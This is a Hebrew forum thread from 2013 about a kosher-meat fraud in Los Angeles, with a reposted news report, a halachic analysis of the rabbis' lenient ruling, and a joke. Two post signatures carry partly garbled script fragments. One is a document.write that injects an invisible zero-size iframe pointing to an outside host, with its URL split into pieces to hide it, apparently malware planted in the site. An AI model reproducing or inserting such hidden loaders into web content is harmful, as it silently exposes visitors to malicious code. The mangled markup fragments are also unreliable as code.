| נשלח ב-3/4/2013 08:13 |
|
| |
מכבסת מלים הלכתית כשרה לפסח
http://www.bhol.co.il/Article.aspx?id=52707 ... בינתיים, נוצרה פאניקה רבתי בלוס אנג'לס. הציבור שכבר נערך לפסח ורכש כמויות גדולות לקראת החג, לא ידע מה עליו לעשות. למרבה ההפתעה, מועצת רבני הקהילה בדרום קליפורניה, ישבו על המדוכה וקבעו כי כל הבשר שנמכר עד השעה 3:00 אחר הצהריים בחנויות, בטרם הסרת תעודת הכשרות, מותר בשימוש. הרבנים השתמשו בשלל נימוקים להקל, לאור העובדה כי מדובר בערב החג וכי לא ניתן כעת לארגן משלוחי בשר חדשים. הרבנים טענו בין היתר, כי מכיוון שכאמור, לא נודע בוודאות האם אל החנויות הגיע בשר הטרפה, או שמא הוא שווק לאזורים אחרים, ניתן לסמוך על הכשרות שהעניקו, עד לשעה האמורה. מכאן ואילך, אסור לרכוש מוצרים של חברה זו. האם היה מותר לאכול קטניות כתוספת לבשר?
|
|
|
|
| נשלח ב-3/4/2013 09:22 |
|
| |
כשמחמירים כשאפשר זה לא טוב, כשמקילים מחמת הפסד מרובה זה גם לא טוב. איך אתם רוצים אותנו, בארון?
|
|
|
|
|
| נשלח ב-3/4/2013 11:11 |
|
| |
גם אני הק' מצטרף לשאלת דרלצ.
|
|
|
|
| נשלח ב-3/4/2013 16:54 |
|
| |
נישטאיך
יפה עוררת נושא חשוב.
וכדאי לדעתי להעתיק את כל הסיפור. גם מפני שצריך יותר רקע, כפי שיתברר בניתוח ההלכתי, וגם מפני שהסיפור עלול להעלם.
אז הנה הסיפור.
ערורית טריפות בלוס אנג'לס • חברה לשיווק בשר - הונתה את הציבור | חברה חרדית לשיווק בשר בלוס אנג'לס, שיווקה בשר טריפות ככשר למהדרין • עובד שהסתכסך עם הבעלים חשף את דרך הפעולה • חוקר פרטי שנשלח על ידי רבני העיר אימת את המידע • עם זאת - בשל נסיבות מיוחדות - התירו רבני העיר לצרכנים לאכול בשר שנרכש מהחברה בערב החג | | שבתי חזקיהו, בחדרי חרדים 10:03 31/03/2013 | | | | | |
| | סערה בקהילה החרדית בלוס אנג'לס: בערב פסח נחשף כי חברה חרדית לשיווק בשר כשר למהדרין שיווקה בשר טריפות.
ערב חג הפסח התברר שבמשך שנים אחדות, צרכו בני הקהילה המקומית בשר מפוקפק שנמכר להם כבשר כשר למהדרין, כשהינו בחשש נבלות וטרפות של ממש.
השערוריה גדולה ומזכירה את פרשיית איטליז הטרפה של משה פינקל בעיר מונסי, לפני כעשור.
לפי מה שפורסם, מי שסיפק את הבשרים הללו, היה יהודי חרדי העומד בראשות חברת Dohemy, חברת שיווק גדולה, המספקת בשר כשר למרכולים וחנויות בקליפורניה ובמדינות נוספות.
החברה היא ספקית סיטונאית של מוצרים כשרים לסוחרים, מסעדות וקייטרינג. לחברה יש גם שלוחה בשוק הקמעונאי בשדרות פיקש בלוס אנג'לס, בה מוכרים ישירות ללקוחות.
על פי החשד, החלה החברה להונות את הציבור ולמכור בשר החשוד כלא כשר, כבר משנת 2010, מה שמעצים את החשד, כי במשך שלוש שנים נמכר בשר מפוקפק לציבור.
בלוס אנג'לס אין בית מטבחיים מקומי ולפיכך רוכשים בעלי החנויות את מוצרי הבשר, מחברות חיצוניות הרוכשות אותם מבתי מטבחיים ומפעלי בשר מוכרים, ברחבי ארה"ב. רבני הקהילה בלוס אנג'לס פורשים את חסותם על מפעל זה ומעניקים לו את תעודת הכשרות מטעם הקהילה. הפרשיה התפוצצה ביום ראשון בערב. מי שחשף אותה היה אחד העובדים שהסתכסך עם הנהלת החברה. העובד, פנה לרבנים וסיפר להם, כי בעל החברה החרדי, דריל שוורץ, וכש בשר ממקורות שונים, אורז אותם מחדש ומצמיד להם תוויות והולוגרמות מזויפות, של בתי מטבחיים כשרים למהדרין, מוכרים ובעלי מוניטין שמהם רוכש הציבור החרדי ברחבי ארה"ב. הרבנים נחרדו מהמידע, אך לפני שיצאו בהכרזה בנידון ולהסרת הכשרות, ביקשו לברר היטב את הפרטים.
חוקר פרטי שנשלח בידי רבני לוס אנג'לס, התחזה למשגיח מטעם הקהילה החרדית, כשהוא מצויד במצלמה סמויה תיעד את מה שמתרחש שם ואישש את המידע שמסר העובד. יש לציין, כי החברה רכשה בשר גם ממקורות כשרים וגם ממקורות מפוקפקים, ולפיכך קשה לדעת בבירור אלו מוצרים הגיעו בסופו של דבר אל החנויות. על אתר הוחלט להסיר את תעודת הכשרות לאלתר מהחברה וכי אין לרכוש יותר את מוצרי הבשר שלה.
בינתיים, נוצרה פאניקה רבתי בלוס אנג'לס. הציבור שכבר נערך לפסח ורכש כמויות גדולות לקראת החג, לא ידע מה עליו לעשות. למרבה ההפתעה, מועצת רבני הקהילה בדרום קליפורניה, ישבו על המדוכה וקבעו כי כל הבשר שנמכר עד השעה 3:00 אחר הצהריים בחנויות, בטרם הסרת תעודת הכשרות, מותר בשימוש.
הרבנים השתמשו בשלל נימוקים להקל, לאור העובדה כי מדובר בערב החג וכי לא ניתן כעת לארגן משלוחי בשר חדשים. הרבנים טענו בין היתר, כי מכיוון שכאמור, לא נודע בוודאות האם אל החנויות הגיע בשר הטרפה, או שמא הוא שווק לאזורים אחרים, ניתן לסמוך על הכשרות שהעניקו, עד לשעה האמורה. מכאן ואילך, אסור לרכוש מוצרים של חברה זו.
הפרשייה הסנסציונית גם זכתה להדים נרחבים בתקשורת הכללית, ובה דווח על הונאת הכשרות הגדולה , שבה שוב היה מעורה אדם חרדי. כמו כן, הזכיר אותה האדמו"ר מסאטמר בחלחלה, בדרשה שנשא בחול המועד, בפני חסידי סאטמר בויליאמסבורג.
הנהלת הקהילה, שוקלת כעת להגיש נגד בעלי החברה תלונה במשטרה, על הונאה ומרמה. סביר, כי לאחר הדרמה שנוצרה, היא תיאלץ לסגור את שעריה. | |
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-3/4/2013 17:07 |
|
| |
כמה הערות. ואתחיל בניתוח ההלכתי ואחר כך המטא הלכתי.
***
איני יודע כמה אפשר לסמוך על התיאור המובא כאן. הניתוח שלי מתייחס לדברים כפי שהובאו כאן ולכן הוא תלוי בנסיבות.
אני מעתיק קטע רלוונטי.
חוקר פרטי שנשלח בידי רבני לוס אנג'לס, התחזה למשגיח מטעם הקהילה החרדית, כשהוא מצויד במצלמה סמויה תיעד את מה שמתרחש שם ואישש את המידע שמסר העובד. יש לציין, כי החברה רכשה בשר גם ממקורות כשרים וגם ממקורות מפוקפקים, ולפיכך קשה לדעת בבירור אלו מוצרים הגיעו בסופו של דבר אל החנויות. על אתר הוחלט להסיר את תעודת הכשרות לאלתר מהחברה וכי אין לרכוש יותר את מוצרי הבשר שלה. שאלות שצריך לשאול כדי לפסוק הלכה:
א. האם אפשר לברר לגבי כל בשר, כל חבילה ארוזה, מהיכן הגיעה? בכמה טרחה כרוך הבירור הזה?
ב. אם אי אפשר לברר לגבי כל חבילה וחבילה, האם היה יותר בשר כשר או יותר בשר טרף?
אפשר שהנימוק הוא שמי שקנה חבילה, ובחנות (או ברשת שמאחורי החנות) יש רוב כשר ומיעוט טרף, סמכו על הפוסקים הכותבים שאם יש רוב רגיל (שנים מול אחד או, לשיטת הרשב"א כמדומה, די בכמות יותר גדולה בצד המותר לעומת הצד האסור) אז יש כאן ביטול. וכל שכן אם אומרים "כל הפורש מן הרוב הוא פורש".
יתכן שאילו היינו בודקים והיינו מגלים שהחברה החזיקה, נניח, במחסן או בחנות סחורה מעורבת, וכל הסחורה נמכרה, אז ודאי יש כאלו שברשותם בשר טרף, ואז השאלה לא אם הבשר אצל פלוני ופלוני ראוי להחשב לכשר, אלא אם מותר לפוסק לפסוק שהכל מותר, שכן זה דומה לאותה סוגיה של "שני שבילים" שבה אין להתיר שני היתרים סותרים המתפרסמים יחד (בקצרה: שני אנשים הלכו בשני שבילים ברשות הרבים, שבאחד מהם טומאה. כל אחד הנשאל לבדו מקבל הוראה שהוא נחשב טהור לגבי למפרע אם כי עליו לטבול מכאן ולהבא, ולכן טהרות שעשה בינתים טהורות, אבל אם שואלים שניהם כאחד, או אחד עבור שניהם, אי אפשר להתיר).
אם זכרוני אינו מטעני, היה מעשה כזה, לפני כמה מאות שנים כמדומה, אם כי לא בסדר גודל כמו פה. מעשה בעיר שהיה בה בשר שחלקו נמכר וחלקו נותר מאחור, ורצו להטריף את הנשאר ולהכשיר את הנמכר, וגם שם הבעיה היתה שחלק מהסחורה, ולא כולה, היה אסור מסיבה כלשהי. אולי נישטאיך ידע לזהות את המקור על פי דברים אלו. מופיע בשו"תים ואולי גם בשו"ע (עדות לבורותי...).
*** הערה אונטולוגית
בגמרא מחלקים בין סכנה שאינה בטלה לאיסור שהוא בטל. אמנם רגילים להסביר שמזון טרף מזיק, לגוף או לנפש, אבל אם יש ביטול ואם יצא הכשר כדין (כך משמע) אז אין חשש.
זאת למי שסובר שבאיסורים יש בעיה במציאות ולא רק בדין. מי שיסבור שאיסור והיתר הם ענינים הסכמיים, וכך גזרה תורה, ואין כאן "ממשות מזיקה או אסורה" כלל, בוודאי שההיתר מובן יותר.
*** בגישה מטא הלכתית, עומדים לפנינו, בין השאר, שני השיקולים הבאים:
א. צורך הרבים. הכרעה שהבשר אסור היא מכה קשה עבור משפחות רבות. נכון שכולם יתחנכו להעריך את ההלכה ולכבד אותה, ובמבט לאחור יזכרו את ההקרבה הגדולה למען הכשרות, אם יצטרכו לזרוק את האוכל ולהכשיר כלים, אבל יתכן גם שיהיו כאלו שייכשלו ובוודאי יהיו כאלו שיכעסו על ההלכה ועל מורי ההלכה וזו תופעה פסיכולוגית טבעית. ההיתר ישמור על ממון ישראל ועל שמחת החג, אם לא יהיו עליו עוררין.
ב. יש גבול כמה אפשר להתיר. כל היתר וכל פסק צריכים להיות מתחשבים במקורות ולא סותרים.
הרבנים לפי הדיווח בבחח הצליחו למצוא פתרון בגבולות ההלכה. והוא מוצדק לפי עקרונות המטא הלכה ששירטטתי כאן, אם אמנם הפסק מתיישב עם המקורות.
____הובהר התנאי הפותח לפני הדיון_____________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 03/04/2013 17:08:23
 |
|
|
|
|
| נשלח ב-3/4/2013 21:34 |
|
| |
ראיתי שמוכרים צנצנות עם מי מלח כשרים לפסח, מיוחד לליל הסדר. -יהודים זקוקים לפרנסה- את הצנצנות ראיתי מוכרים בלונדון בשכונת גולדס גרין- = לגולדברגס גרין, אולי מכרו גם בארץ, אבל אני לא ראיתי.
.
לפני שנים, היתה מסעדה כשרה במרכז תל אביב, שבה אכלו אנשי עסקים וכד', הסתובב שם משגיח כשרות עם זקן גדול.
אחד ממנהלי אחד הבנקים- אכל שם קבוע. לימים הוא נשלח להקים סניף של הבנק, בחו"ל, ולאחר כמה שנים חזר וכהרגלו הוא הלך לאכול באותה מסעדה, להפתעתו הוא לא ראה את המשגיח .
שאל את בעל המסעדה- איפה המשגיח?
השיב לו בעל המסעדה- עשיתי חשבון כלכלי- במקום לשלם למשגיח 20000 שח לחודש , יותר זול לקנות בשר כשר.
תוקן על ידי ירוחםשמ ב- 03/04/2013 21:45:56
|
|
|
|
|